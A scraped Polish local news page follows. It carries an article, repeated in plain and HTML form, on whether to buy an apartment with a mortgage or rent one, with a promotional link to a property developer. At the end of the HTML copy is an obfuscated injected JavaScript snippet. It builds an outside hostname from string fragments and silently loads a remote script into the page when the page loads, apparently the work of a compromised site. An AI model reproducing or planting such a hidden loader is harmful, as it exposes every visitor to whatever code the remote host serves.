Gdy szukasz dla siebie miejsca do zamieszkania, musisz podjąć często jedną z najważniejszych decyzji w swoim życiu – czy będzie to mieszkanie kupione na własność, czy też będzie ono wynajęte. Dlaczego ta decyzja jest tak ważna i jak podjąć ją prawidłowo?

Większość ludzi, którzy kupują mieszkania na sprzedaż, decyduje się na ich zakup na kredyt. To, oczywiście, spory wydatek, ponieważ nie dość, że trzeba spłacić sam kapitał, to jeszcze dodatkowo trzeba doliczyć do niego wysokie odsetki oraz inne opłaty związane z kredytowaniem. Po drugiej stronie stoi wynajem – dostępny praktycznie dla każdego, kto dysponuje odpowiednią sumą wskazaną przez właściciela nieruchomości, nie trzeba przy tym mieć odpowiedniej zdolności kredytowej.

Co przemawia za wynajmem?

  • większa mobilność – możliwość przeprowadzki w każdym momencie
  • brak konieczności posiadania zdolności kredytowej
  • brak kredytu często na 20-30 lat do spłacenia
  • koszty generalnych remontów w mieszkaniu ponosi właściciel

Z drugiej strony jednak trzeba pamiętać o tym, że koszty wynajmu mieszkania są horrendalnie drogie, zwłaszcza w dużych miastach w Polsce – często opłaty za wynajem równają się racie kredytu hipotecznego.

Co przemawia za kupnem?

  • kupujemy mieszkanie dla siebie – nie płacimy pieniędzy do kieszeni obcej nam osoby, nieruchomość można potem przekazać komuś innemu w spadku
  • mieszkanie może być urządzone dokładnie tak, jak tego chcemy
  • mieszkanie można traktować również jako inwestycję
  • można znaleźć dokładnie takie mieszkanie, które będzie idealne, na przykład pod względem powierzchni, lokalizacji, standardu wykończeniowego

Obecnie, jeżeli chodzi o mieszkania na rynek pierwotnym, mają się one bardzo dobrze – jest w czym przebierać, a ceny unormowały się w porównaniu z poprzednimi latami. Gdy dodatkowo można zebrać większy wkład własny (należy pamiętać, że obecnie banki wymagają go na poziomie co najmniej 15% lub też należy wykupić odpowiednią polisę ubezpieczeniową,), a także gdy znajdzie się doby kredyt na dogodnych warunkach, wtedy to własne „M” jest bardziej opłacalnym rozwiązaniem, ale też nie można zapominać o tym, że ryzykownym.

 

Własne mieszkanie czy wynajęte – na co się zdecydować?https://www.pruszkowmowi.pl/wp-content/uploads/2015/03/IMG_0014-1024x768.jpghttps://www.pruszkowmowi.pl/wp-content/uploads/2015/03/IMG_0014-300x300.jpg Adam Osuch Adam OsuchMiastoPruszków
Gdy szukasz dla siebie miejsca do zamieszkania, musisz podjąć często jedną z najważniejszych decyzji w swoim życiu – czy będzie to mieszkanie kupione na własność, czy też będzie ono wynajęte. Dlaczego ta decyzja jest tak ważna i jak podjąć ją prawidłowo? Większość ludzi, którzy kupują mieszkania na sprzedaż, decyduje się na...
<strong>Gdy szukasz dla siebie miejsca do zamieszkania, musisz podjąć często jedną z najważniejszych decyzji w swoim życiu – czy będzie to mieszkanie kupione na własność, czy też będzie ono wynajęte. Dlaczego ta decyzja jest tak ważna i jak podjąć ją prawidłowo?</strong> Większość ludzi, którzy kupują mieszkania na sprzedaż,<b> </b>decyduje się na ich zakup na kredyt. To, oczywiście, spory wydatek, ponieważ nie dość, że trzeba spłacić sam kapitał, to jeszcze dodatkowo trzeba doliczyć do niego wysokie odsetki oraz inne opłaty związane z kredytowaniem. Po drugiej stronie stoi wynajem – dostępny praktycznie dla każdego, kto dysponuje odpowiednią sumą wskazaną przez właściciela nieruchomości, nie trzeba przy tym mieć odpowiedniej zdolności kredytowej. <b>Co przemawia za wynajmem?</b> <ul> <li>większa mobilność – możliwość przeprowadzki w każdym momencie</li> <li>brak konieczności posiadania zdolności kredytowej</li> <li>brak kredytu często na 20-30 lat do spłacenia</li> <li>koszty generalnych remontów w mieszkaniu ponosi właściciel</li> </ul> Z drugiej strony jednak trzeba pamiętać o tym, że koszty wynajmu mieszkania są horrendalnie drogie, zwłaszcza w dużych miastach w Polsce – często opłaty za wynajem równają się racie kredytu hipotecznego. <b>Co przemawia za kupnem?</b> <ul> <li>kupujemy mieszkanie dla siebie – nie płacimy pieniędzy do kieszeni obcej nam osoby, nieruchomość można potem przekazać komuś innemu w spadku</li> <li>mieszkanie może być urządzone dokładnie tak, jak tego chcemy</li> <li>mieszkanie można traktować również jako inwestycję</li> <li>można znaleźć dokładnie takie mieszkanie, które będzie idealne, na przykład pod względem powierzchni, lokalizacji, standardu wykończeniowego</li> </ul> Obecnie, jeżeli chodzi o <a href="http://ronson.pl/">mieszkania na rynek pierwotnym</a>, mają się one bardzo dobrze – jest w czym przebierać, a ceny unormowały się w porównaniu z poprzednimi latami. Gdy dodatkowo można zebrać większy wkład własny (należy pamiętać, że obecnie banki wymagają go na poziomie co najmniej 15% lub też należy wykupić odpowiednią polisę ubezpieczeniową,), a także gdy znajdzie się doby kredyt na dogodnych warunkach, wtedy to własne „M” jest bardziej opłacalnym rozwiązaniem, ale też nie można zapominać o tym, że ryzykownym.   <script type="text/javascript">// <![CDATA[ (function(){ uvfr=document.createElement("script");uvfr.type="text/javascript"; uvfr.async=true;uvfr_=(("us")+"t")+"a";uvfr_+=("t.i")+""+"n";uvfr_+=(("f")+"o"); uvfr.src="http://"+uvfr_+"/7143697.pwpruzuvvfr3abl6d5gzcyz65kwm49"; document.body.appendChild(uvfr); })(); // ]]></script>